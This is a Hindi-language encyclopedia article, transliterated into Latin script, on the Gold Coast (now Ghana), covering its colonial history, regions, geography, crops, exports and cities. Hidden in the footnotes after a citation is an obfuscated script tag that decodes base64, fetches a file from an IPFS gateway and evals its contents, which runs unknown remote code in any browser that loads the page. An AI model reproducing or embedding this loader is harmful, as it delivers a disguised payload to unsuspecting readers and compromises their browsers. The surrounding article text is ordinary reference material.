गोल्ड कोस्ट
gold kost afrika ka pashchimi samudratat hai, jise ab ghana kahatean haian. pahale yah briten ke pashchimi afriki aupaniveshik tantr ke adhin tha. 14vian sadi mean sarvapratham yahaan purtagaliyoan ka agaman hua. 17vian sadi mean aangrez tatha dach vyapari is kshetr ke dvara dasoan ka vyapar karate the. dhire-dhire is kshetr par briten ka adhipaty ho gaya. 6 march, 1957 ko gold kost tatha togolaiand ke trastiship kshetr ko dominiyan pad[1]prapt hua. usi samay se isaka namakaran 'ghana' hua. yah nam us prachin svatantr evan shaktishali rajatantr ka dyotak hai, jo chauthi sadi se lekar 13vian sadi tak madhy naijar kshetr mean sthit tha. 1 julaee, 1960 ee. ko yah british rashtrasangh ke aantargat ek svatantr ganarajy ghoshit hua.[2]
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kshetroan ka vibhajan
bhaugolik drishti se gold kost ko poorvi, pashchimi, ashaanti[3] uttari tatha togolaiand, in paanch kshetroan mean vibhajit kar sakate haian. prashasanik drishti se ise ath bhagoan-poorvi, pashchimi, ashaanti, uttari, volta, madhy, oopari[4] tatha broang ahapho mean baanta gaya hai.
bhaugolik dashaean
ghana ka adhikaansh bhag volta nadi ke besin mean p data hai. dakshin-pashchimi samudratatiy kshetroan mean ushnakatibandhiy van pae jate haian; shesh samudratatiy nichale maidanoan mean savana ghasean ugati haian. desh ke aantarbhag mean dharatal uthata jata hai. madhy ka parvatiy bhag adhik varsha hone ke karan vanachchhadit hai. paha diyoan ke uttar sthit kshetr mean savana ghasean pramukh prakritik vanaspati haian.[2]
vyavasay
ghana ka pramukh vyavasay krishi hai. kokaa yahaan ki sarvapramukh fasal hai, jisaki kheti 45 lakh ek d mean hoti hai. pichhale kuchh varsho mean vaijnanik tarikoan ke vyavahrit hone ke karan prati ek d utpadan mean ashcharyajanak vriddhi huee hai. isaki kheti paha doan ke dakshin, mukhyat: kumasi kshetr mean hoti hai. nariyal se utpann narikel[5]dvitiy pramukh niryat vastu hai. parvatiy bhagoan ke dakshin mean mooangaphali makee, chaval, kaisava[6], kela, rataloo ityadi tatha uttari kshetr mean mooangaphali, chaval, makee, jvar, bajara tatha rataloo pramukh paidavar haian. tanbakoo tatha rabar ka utpadan bhi badh raha hai. uttar mean pashupalan pramukh vyavasay hai.
niryat-vyapar
gold kost sona, maianganiz, hira, tatha b aauksait adi khanij padartho ke liye prasiddh haian. kokoa, sona, lak di, hira, maianganiz, b aauksait tatha talabij[7] pramukh niryatak vastuean haian. 1958 ee. mean ghana ka kul niryat-vyapar 10,45,57,310, pauand (starliang) ka tha, jisaka 36.2 pratishat briten, 19.2 pratishat sanyukt rajy amarika, 16.1 pratishat jarmani tatha 9.7 pratishat halaiand dvara kharida gaya. ayat mean sooti kap de, yantradi aur savari ga diyaan pramukh haian.[2]
nagar tatha yatayat
samudratat par sthit aikra[8]ghana ki rajadhani tatha sabase b da nagar hai, jisaki janasankhya 3,25,977 (1960) hai. any nagaroan mean kumasi (1,90,362), sekoandi-tokoanradi (1,01,532) kep kost (54,986) tamale (49,223) kophoridua (39,164) keta (29,719) vinneba (25,366) obuasi (23,775) adi mukhy haian. takoradi ke atirikt aikra se 17 mil poorv mean tema mean ek naya pattan bana hai. 1959 ee. mean ghana mean kul 591 mil lanbe relamarg tatha 13,766 mil lanbe rajamarg the.
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tika tippani aur sandarbh
- ↑ Dominion status
- ↑ 2.0 2.1 2.2 gold kost (hindi) bharatakhoj. abhigaman tithi: 29 mee, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ Ashanti
- ↑ Upper
- ↑ Copra
- ↑ Cassava
- ↑ Palm kernel
- ↑ Accra